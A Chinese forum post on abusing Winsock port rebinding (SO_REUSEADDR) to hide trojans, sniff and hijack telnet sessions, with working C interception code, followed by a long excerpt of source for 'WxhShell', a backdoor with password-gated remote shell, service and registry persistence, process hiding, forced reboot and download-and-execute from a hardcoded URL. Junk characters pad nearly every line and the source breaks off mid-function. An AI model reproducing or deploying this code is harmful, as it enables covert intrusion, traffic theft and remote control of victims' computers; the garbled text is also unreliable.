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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a1@Y3M Q;i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ttu&@ =  
7.`fJf?  
  saddr.sin_family = AF_INET; db6mfx i  
1/"WD?a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I(XOE$3  
h*v8#\b$J_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GI&h`X5,e  
KVJ_E!i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  f& CBU  
8w.YYo8`  
  这意味着什么?意味着可以进行如下的攻击: RU\/j%^  
=AuR:Tx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k1!@^A  
Sy 'Dp9!|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o>VVsH  
G["c\Xux  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w`5xrqt@  
5;HH4?]p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Gy(=706  
87YyDWTn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )+6MK(<"  
->V<DZK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6AhM=C  
S;- LIv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 15sp|$&`  
VTH> o>g  
  #include >qF CB\(  
  #include ^- d%r  
  #include -(=eM3o-9m  
  #include    3p'I5,}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Cid ;z  
  int main() p}~qf  
  { 1aTB%F  
  WORD wVersionRequested; :*KHx|Q  
  DWORD ret; L'kmNVvYN  
  WSADATA wsaData; U-3i  
  BOOL val; w.TuoWo>  
  SOCKADDR_IN saddr; .Fp4: e  
  SOCKADDR_IN scaddr; q?8| [.  
  int err; \7'+h5a  
  SOCKET s; 0ik7v<:  
  SOCKET sc; 9_5ow  
  int caddsize; ruld B,n  
  HANDLE mt; KGFv"u{  
  DWORD tid;   a5 TioQ  
  wVersionRequested = MAKEWORD( 2, 2 ); ~5oPpTAe  
  err = WSAStartup( wVersionRequested, &wsaData ); G2T|RT $_K  
  if ( err != 0 ) { gp\<p-}  
  printf("error!WSAStartup failed!\n"); .~7FyLl$  
  return -1; Kh_Lp$'0uM  
  } 2_Z ? #Y  
  saddr.sin_family = AF_INET; 3(,?S$>  
   rQ qW_t%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EU+S^SyZi  
*vwbgJG! *  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 73\JwOn~  
  saddr.sin_port = htons(23); &eX!#nQ_.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |Ur"& Z{  
  { ZG&>:Si;  
  printf("error!socket failed!\n"); mmk=97  
  return -1; #iHs* /85  
  } O[ef#R!  
  val = TRUE; Fkd+pS\9g~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %Da1(bBh  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (O(}p~s  
  { jr:7?8cH0L  
  printf("error!setsockopt failed!\n"); _y} T/I9  
  return -1; bl&nhI)w  
  } tu66'z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *(T:,PY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /$p6'1P8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R1$:~p2m  
m()RU"WY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2HsLc*9{4  
  { x5-}h*  
  ret=GetLastError(); S;286[oq@  
  printf("error!bind failed!\n"); Rx=>6,)'  
  return -1; lUMS;H(  
  } fUA uqfj[  
  listen(s,2); 1`qMj0Y_  
  while(1) [rV>57`YD  
  { 4p,EBn9(  
  caddsize = sizeof(scaddr); '|8} z4/g  
  //接受连接请求 GE%Z9#E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P 'od`  
  if(sc!=INVALID_SOCKET) hFy;ffs.  
  { "4{LN}`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^Dn D>h@q  
  if(mt==NULL)  :7]Sa`  
  { ?WqT[MnK  
  printf("Thread Creat Failed!\n"); /n{omx  
  break; 2$g6}A`r  
  } IS&ZqE(`e  
  } (G;l x  
  CloseHandle(mt); =k^Y?.  
  } p o2!  
  closesocket(s); %D%8^Zd_  
  WSACleanup(); a C\MJ9  
  return 0; OX?\<),  
  }   :fZ}o|t7  
  DWORD WINAPI ClientThread(LPVOID lpParam) QLiu2U o  
  { 8y.wSu  
  SOCKET ss = (SOCKET)lpParam; gf &Pn  
  SOCKET sc; B][U4WJ)  
  unsigned char buf[4096]; #(N+(():  
  SOCKADDR_IN saddr; &-Gqdnc  
  long num; R5 - @  
  DWORD val; P"IPcT%Ob%  
  DWORD ret; %u5L!W&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H2jgO?l;!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nG'&ZjA  
  saddr.sin_family = AF_INET; Rnr(g;2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q/(K$6]j  
  saddr.sin_port = htons(23); lvBx\e;7P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) koZ*+VP=  
  { jD<{t  
  printf("error!socket failed!\n"); uXJ;A *  
  return -1; !h23cj+V  
  } IYS)7`{]  
  val = 100; {E9+WFz5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mpU$ +  
  { V k  K  
  ret = GetLastError(); 8"2=U6*C  
  return -1; Ybs\ES'?A  
  } K}buH\yco  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W14 J],{L  
  { !Sh&3uy_qN  
  ret = GetLastError(); >,$_| C  
  return -1; i1NY9br  
  } D%OQ e#!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r%yvOF\>  
  { ZojI R\F^  
  printf("error!socket connect failed!\n"); ff,pvk8N5  
  closesocket(sc); _VRpI)mu  
  closesocket(ss); Vt %bI0#  
  return -1; \IV1j)I"u  
  } :t8b39  
  while(1) @"Fme-~  
  { j,lT>/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S1Wj8P-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *`ua'"="k  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n 22zq6m  
  num = recv(ss,buf,4096,0); &_dt>.  
  if(num>0) {JZZZY!n2  
  send(sc,buf,num,0); Tc>   
  else if(num==0) .w=/+TA  
  break; r ~jm`y  
  num = recv(sc,buf,4096,0); \E72L5nJW  
  if(num>0) PV'x+bN5  
  send(ss,buf,num,0); B}Z63|/N  
  else if(num==0) MDhRR*CBh  
  break; |:q=T ~x  
  } v7BA[jQr  
  closesocket(ss); D[aCsaR  
  closesocket(sc); }Z@ovsG  
  return 0 ; 9ifDcYl  
  } ~dgDO:)  
?I_s0k I  
QdH\LL^8R4  
========================================================== V:In>u$QJ!  
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下边附上一个代码,,WXhSHELL z&#SPH*  
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========================================================== Neq+16*u  
D/Z6C&/I  
#include "stdafx.h" X$ 0?j 1  
u]<,,  
#include <stdio.h> 5nv#+ap1 "  
#include <string.h> C%$edEi  
#include <windows.h> [')m|u~FS4  
#include <winsock2.h> "CSsCA$/  
#include <winsvc.h> A-Sv;/yD_  
#include <urlmon.h> QUq_:t+Dv  
h58`XH  
#pragma comment (lib, "Ws2_32.lib") Zd^rNHhA  
#pragma comment (lib, "urlmon.lib") ,&]S(|2%>t  
3 }TaF~  
#define MAX_USER   100 // 最大客户端连接数 >Ea8G,  
#define BUF_SOCK   200 // sock buffer ~ -4{B  
#define KEY_BUFF   255 // 输入 buffer :~b3^xhc^  
lGPUIoUo  
#define REBOOT     0   // 重启 Bn=by{i  
#define SHUTDOWN   1   // 关机 f2Klt6"9  
mXRB7k  
#define DEF_PORT   5000 // 监听端口 B:b5UD  
ZXqSH${Tp  
#define REG_LEN     16   // 注册表键长度 B8.Pn  
#define SVC_LEN     80   // NT服务名长度 ] bM)t<  
6}gls}[0{e  
// 从dll定义API 1L%CJ+Q#0i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8 ##-EN;ag  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #a/5SZP Z\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wa<MRt W=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aE`c%T):`  
_X^1IaL  
// wxhshell配置信息 Q3n,)M[N  
struct WSCFG { Q8:Has  
  int ws_port;         // 监听端口 .Xfq^'I[  
  char ws_passstr[REG_LEN]; // 口令 f/ ?_  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9_q#W'/X  
  char ws_regname[REG_LEN]; // 注册表键名 (Mo*^pVr  
  char ws_svcname[REG_LEN]; // 服务名 K SbKEA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y6ECdVF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7,U=Qe;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 prC;L*~8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0[R L>;D:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ye"o6_U "  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Eza`Z` ^el  
Sz%t JD..  
}; (7mAt3n k  
(|[2J3ZET  
// default Wxhshell configuration %824Cqdc  
struct WSCFG wscfg={DEF_PORT, 6*PYFf`  
    "xuhuanlingzhe", B8nf,dj?X  
    1, 4^p5&5F  
    "Wxhshell", JmF l|n/H  
    "Wxhshell", 14Xqn8uOW  
            "WxhShell Service", dT`D:)*:  
    "Wrsky Windows CmdShell Service", ^Ew]uN>,  
    "Please Input Your Password: ", 8UXjm_B^'  
  1, @)UZ@ ~R  
  "http://www.wrsky.com/wxhshell.exe", ^ssK   
  "Wxhshell.exe" lW+\j3?Z$  
    }; :}Xll#.,m  
O!m vJD  
// 消息定义模块 5QW=&zI`=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `_BNy=`s*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (n*^4@"2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #^`4DhQ/ 1  
char *msg_ws_ext="\n\rExit."; w,.+IV$Kk  
char *msg_ws_end="\n\rQuit."; "W=AB&  
char *msg_ws_boot="\n\rReboot..."; u8gS< \  
char *msg_ws_poff="\n\rShutdown..."; ;9[fonk  
char *msg_ws_down="\n\rSave to "; <LmIK  
O}+.U<V  
char *msg_ws_err="\n\rErr!"; ebm])~ZL  
char *msg_ws_ok="\n\rOK!"; Uddr~2%(  
p31NIf `  
char ExeFile[MAX_PATH]; VvvRRP^q  
int nUser = 0; 4H,`]B8(D  
HANDLE handles[MAX_USER]; I!^;8Pg  
int OsIsNt; !9u|fnC9  
zO~8?jDN4|  
SERVICE_STATUS       serviceStatus; ]p _L)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ta35 K"  
DwaBdN[!7  
// 函数声明 un)4eo!7  
int Install(void); %j:]^vqFA  
int Uninstall(void); I3=%h  
int DownloadFile(char *sURL, SOCKET wsh); ge,H-8'Z  
int Boot(int flag); $:cE ^8K  
void HideProc(void);  tR}MrM  
int GetOsVer(void); C\3y {s  
int Wxhshell(SOCKET wsl); ~8~aJ^[  
void TalkWithClient(void *cs); 1_o],? Q  
int CmdShell(SOCKET sock); fRrvNj0{ V  
int StartFromService(void); J,V9k[88  
int StartWxhshell(LPSTR lpCmdLine); )2pbpbWX>  
O;z,qo X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~rlB'8j(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1/RsptN"v  
5A%w 8Qv  
// 数据结构和表定义 jK!Au  
SERVICE_TABLE_ENTRY DispatchTable[] = FemC Lvu  
{ NiWa7/Hr  
{wscfg.ws_svcname, NTServiceMain}, ;'?l$ ._  
{NULL, NULL} G,$PV e*  
}; ZO!I.  
Qt iDTr  
// 自我安装 &%8'8,.  
int Install(void) R%Qf7Q  
{ M9Cv wMi  
  char svExeFile[MAX_PATH]; ZW-yP2  
  HKEY key; `NnUyQ;T  
  strcpy(svExeFile,ExeFile); :j5n7s?&=y  
o 4`hY/<t  
// 如果是win9x系统,修改注册表设为自启动 ST2.:v;lb  
if(!OsIsNt) { [OjF[1I)u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N96jJk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~Fe${2   
  RegCloseKey(key); g'p K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +1Vjw'P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CAWA3fcQp  
  RegCloseKey(key); iocI:b <  
  return 0; `sUZuWL_  
    } >NqYyW,%  
  } Ot:CPm@  
} sSOOXdnGG  
else { !$DIc  
r>dwDBE  
// 如果是NT以上系统,安装为系统服务 _9faBrzd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fXXr+Mor  
if (schSCManager!=0) * "R|4"uy  
{ YsG%6&zEq  
  SC_HANDLE schService = CreateService sC27FVwo  
  ( /,1D)0  
  schSCManager, \X<bH&x:z  
  wscfg.ws_svcname, e`@ # *}A  
  wscfg.ws_svcdisp, `Y BC  
  SERVICE_ALL_ACCESS, -#0qV:D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tna .52*/  
  SERVICE_AUTO_START, ]p*l%(dhY  
  SERVICE_ERROR_NORMAL, V\6=ySx  
  svExeFile, VOKZ dC-  
  NULL, kv8Fko  
  NULL, DamC F  
  NULL, .9,zL=)Ba  
  NULL, 6$fHtJD:  
  NULL j;']cWe  
  ); 2]I4M[|&z  
  if (schService!=0) +)kb(  
  { UUSq$~Ct  
  CloseServiceHandle(schService); _6O\W%it  
  CloseServiceHandle(schSCManager); bnm P{Ps  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D Gr> 2  
  strcat(svExeFile,wscfg.ws_svcname); ,RE\$~`w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yN~dU0.G6!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Uh.oErHQD  
  RegCloseKey(key); y@ ML/9X8q  
  return 0; ykv94i?Q  
    } ;E@G`=0St  
  } pR `>b 3  
  CloseServiceHandle(schSCManager); | B. 0TdF  
} _=+V/=  
} ,pqGX3  
`%CtWJ(e  
return 1; '=[?~0(B  
} 4?0vso*X<:  
">~.$Jp_4  
// 自我卸载 7Ok;Lt!x  
int Uninstall(void) .9R [ *<  
{ .nG#co"r}3  
  HKEY key; SPN5dE.@  
"vXxv'0\f  
if(!OsIsNt) { Tg!i%v(-t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xG}(5Tt  
  RegDeleteValue(key,wscfg.ws_regname); A{UULVp  
  RegCloseKey(key); y(Y!?X I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {88)~  
  RegDeleteValue(key,wscfg.ws_regname); eyefWn&  
  RegCloseKey(key); NZ ;{t\  
  return 0; '#s05hr  
  } D|@/yDQ  
} JmPHAUd  
} /3A^I{e74  
else { HkQ*y$$  
VGtC)mG8)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &Ts-a$Z7?S  
if (schSCManager!=0) O_$m!5ug  
{ zV:pQRbt.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >"gf3rioW  
  if (schService!=0) W4[V}s5u  
  { -cZDG t  
  if(DeleteService(schService)!=0) { :80Z6F.k`  
  CloseServiceHandle(schService); OC1I&",Ai|  
  CloseServiceHandle(schSCManager); }-ftyl7  
  return 0; KiI!frm1  
  } O?U'!o=  
  CloseServiceHandle(schService); )_{dWf1  
  } ulu9'ch  
  CloseServiceHandle(schSCManager); /E Bo3`  
} 7w 37S  
} f:ZAG4B  
Wm_4avXtO  
return 1; x 8Retuv  
} i7ISX>%  
K3m]%m2\  
// 从指定url下载文件 vN|l\!~  
int DownloadFile(char *sURL, SOCKET wsh) {S,l_d+(  
{ .7i` (F)  
  HRESULT hr; Uu!f,L;ty  
char seps[]= "/"; T6H}/#*tK  
char *token; MxSM@3v(  
char *file; )ap_Z6  
char myURL[MAX_PATH]; :/:.Kb  
char myFILE[MAX_PATH]; /GIxR6i  
^\\Tx*#i  
strcpy(myURL,sURL); GKvN* SU=  
  token=strtok(myURL,seps); qY~`8 x  
  while(token!=NULL) =0^Ruh  
  { HFwN  
    file=token; BDVHol*g  
  token=strtok(NULL,seps); m-H-6`]  
  } Jj,U RD&0R  
G"X8}:}  
GetCurrentDirectory(MAX_PATH,myFILE); R<sJ^nx  
strcat(myFILE, "\\"); t'BLVCu  
strcat(myFILE, file); (7XCA,KTGI  
  send(wsh,myFILE,strlen(myFILE),0); W5?yy>S6N  
send(wsh,"...",3,0); Vy*:ne  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xv< B1  
  if(hr==S_OK) a["2VY6Eq@  
return 0; vJ\pR~?  
else N` aF{3[  
return 1; a;QMA d!  
Y|8:;u'  
} (4'$y`Z  
P`#Z9 HM4  
// 系统电源模块 g)s{ IAVx  
int Boot(int flag) BYs-V:  
{ f8M$45A'  
  HANDLE hToken; p!sWYui  
  TOKEN_PRIVILEGES tkp; `!D s6  
CamE'  
  if(OsIsNt) { *c%oN |  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o&`<+4 i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2WtRJi?b|  
    tkp.PrivilegeCount = 1; F#5B<I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >Y_*%QGH_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Jd5:{{ Lb  
if(flag==REBOOT) { A,\6nO67  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k$H%.l;E  
  return 0; '~ ,p[  
} ][W_[0v  
else { ]l'Y'z,}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cgl*t+o&  
  return 0; 9AxCiT.  
} w=^`w:5X  
  } w QNxL5B  
  else { Bn61AFy`  
if(flag==REBOOT) { R  zf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ua5OGx  
  return 0; Kv.>Vf.T}_  
} .so[I  
else { q4}PM[K?=\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Qtbbb3m;  
  return 0; Ku\Y'ub  
} F1jglH/MF)  
} +n<k)E@>J  
]%BWIqbr  
return 1; dxZu2&gi  
} S,<EEtXQ  
@J5Jpt*IE  
// win9x进程隐藏模块 uq, { tV  
void HideProc(void) x~GQV^(l3  
{ {"&SJt[%X  
/1x,h"T\<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P( XaTU&-  
  if ( hKernel != NULL ) @+9<O0  
  { %^1cyk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]u4Hk?j~<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K_2|_MLlZ  
    FreeLibrary(hKernel); EL8NZ%:v:  
  } yaG= j  
 .&9 i  
return; ]8T |f  
} FXzFHU/dP  
:6zG7qES3  
// 获取操作系统版本 %{/%mJoX  
int GetOsVer(void) xdf82)  
{ NzU,va N  
  OSVERSIONINFO winfo; qf=1?=l291  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O~59FuL  
  GetVersionEx(&winfo); V5GW:QT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ma8_:7`>O  
  return 1; rg{9UVj  
  else  ?p(/_@  
  return 0; 5v?;PX  
} ;x:rZV/  
;=<-5;rI  
// 客户端句柄模块 [8Qro8  
int Wxhshell(SOCKET wsl) p=C%Hmd5E  
{ Kx=4~  
  SOCKET wsh; srYJp^sC  
  struct sockaddr_in client; N nk@h  
  DWORD myID; }';D]c  
m=:4`_0Q  
  while(nUser<MAX_USER) e|&6$A>4]  
{ /}Lt,9  
  int nSize=sizeof(client); UK1_0tp]x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ] )F7)  
  if(wsh==INVALID_SOCKET) return 1; @BrMl%gV  
K-f1{ 0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `;l?12|X  
if(handles[nUser]==0) zoDH` h_  
  closesocket(wsh); .Wq@gV  
else K"b`#xN(t  
  nUser++; AgRjr"hF*e  
  } 1fo U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IBQ@{QB  
+&Hr4@pgW  
  return 0; \MK*by  
} c\ia6[3sX  
B9T!j]'  
// 关闭 socket +=]!P#  
void CloseIt(SOCKET wsh) Hew d4k  
{ ' j6gG  
closesocket(wsh); FJ %  
nUser--; OKi\zS  
ExitThread(0); vTaJqEE  
} u ~3%bJ]  
vk>b#%1{  
// 客户端请求句柄 l#lF +Q;  
void TalkWithClient(void *cs) &q`q4g&7  
{ A8q;q2  
2MATpV#BT  
  SOCKET wsh=(SOCKET)cs; 0]D{Va  
  char pwd[SVC_LEN]; bJYda)  
  char cmd[KEY_BUFF]; QT9n,lX  
char chr[1]; w,O,W[C  
int i,j; =7m}yDs6$  
s TOa  
  while (nUser < MAX_USER) { Qb! PRCHQ  
Z0`T\ay  
if(wscfg.ws_passstr) { ;L|uIg;.s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +uBLk0/)>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2_ :n  
  //ZeroMemory(pwd,KEY_BUFF);  f>s?4  
      i=0; r}0\}~'?c  
  while(i<SVC_LEN) { ?H_ LX;r  
[! 'op0  
  // 设置超时 2P]L9'N{Y  
  fd_set FdRead; <H0R&l\  
  struct timeval TimeOut; `'\t$nU  
  FD_ZERO(&FdRead); =1P6Vk  
  FD_SET(wsh,&FdRead); hXb%;GL  
  TimeOut.tv_sec=8; 4*aZ>R2hO  
  TimeOut.tv_usec=0; 4J?t_)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  Ug:\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Qj3a_p$)P  
K"u NxZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +rIL|c}J  
  pwd=chr[0]; `;YU.*  
  if(chr[0]==0xd || chr[0]==0xa) { >(y<0   
  pwd=0; gtYAHi  
  break; T \CCF  
  } >Bs#Xb_B]  
  i++; YPzU-:3  
    } ;SwMu@tg  
DAwqo.m  
  // 如果是非法用户,关闭 socket Yk42(!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?x^z]N|P  
} p-%|P ]&  
}gkM^*$:%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A/7X9ir  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (_4;') 9  
Ne $"g[uFU  
while(1) { ?=VOD#)  
U xD5eJJ  
  ZeroMemory(cmd,KEY_BUFF); }<z_Q_b+e  
q %0Cg=  
      // 自动支持客户端 telnet标准   hky;CD~$  
  j=0; O$kq`'9  
  while(j<KEY_BUFF) { peJKNX.!q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |7B!^ K  
  cmd[j]=chr[0]; c*`>9mv  
  if(chr[0]==0xa || chr[0]==0xd) { .>wv\i [p  
  cmd[j]=0; Q#(GI2F2#  
  break; 0 a~HiIh  
  } X[2[!)Rk  
  j++; cpt<WK}  
    } GabYfUkO  
m=Q[\.Ra  
  // 下载文件 bu&t'?z x!  
  if(strstr(cmd,"http://")) { kD) $2I?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }pa9%BQI  
  if(DownloadFile(cmd,wsh)) v`V7OD#:j]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l;sy0S"DO]  
  else >a1{397Y}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;. wX@  
  } n6(i`{i  
  else { /%A;mlf{  
m^_6:Q0F!8  
    switch(cmd[0]) { '!P"xBVAu  
  M0| 'f'  
  // 帮助 hUz[uyt  
  case '?': { G pbC M~x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cECi')  
    break; jKZt~I  
  } Y F:2>w<  
  // 安装 "xAWG$b  
  case 'i': { :K?0e `  
    if(Install()) q8:{Nk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tRw@U4=y  
    else fbFX4?-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qp2I[Ioz3  
    break; yAL1O94  
    } ]NhS=3*i+  
  // 卸载 fWF |,A>>b  
  case 'r': { ^). )  
    if(Uninstall()) g\GdkiIj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H0a/(4/xg  
    else M HL("v(@B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tn|,O.t  
    break; s cdtWA  
    } 7([h4bg{  
  // 显示 wxhshell 所在路径 +Z!;P Z6  
  case 'p': { =2y8 CgLj  
    char svExeFile[MAX_PATH]; _ nP;Fx  
    strcpy(svExeFile,"\n\r"); #'OaKt?Z)  
      strcat(svExeFile,ExeFile); $KjTa#[RX7  
        send(wsh,svExeFile,strlen(svExeFile),0); kCUT ^  
    break; m-T~fJ  
    } 2X-l{n;>  
  // 重启 p.fF}B  
  case 'b': { ED$DSz)x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BIf^~jAER%  
    if(Boot(REBOOT)) ~#}Dx :HH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <DH*~tLp2  
    else { i`)!X:j  
    closesocket(wsh); tvX>{-M  
    ExitThread(0); Fv?=Z-wk  
    } [oc~iDx%W  
    break; <B /5J:o<  
    } # x>ga  
  // 关机 Rq~t4sA:  
  case 'd': { gM>=%/.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4z:#I;  
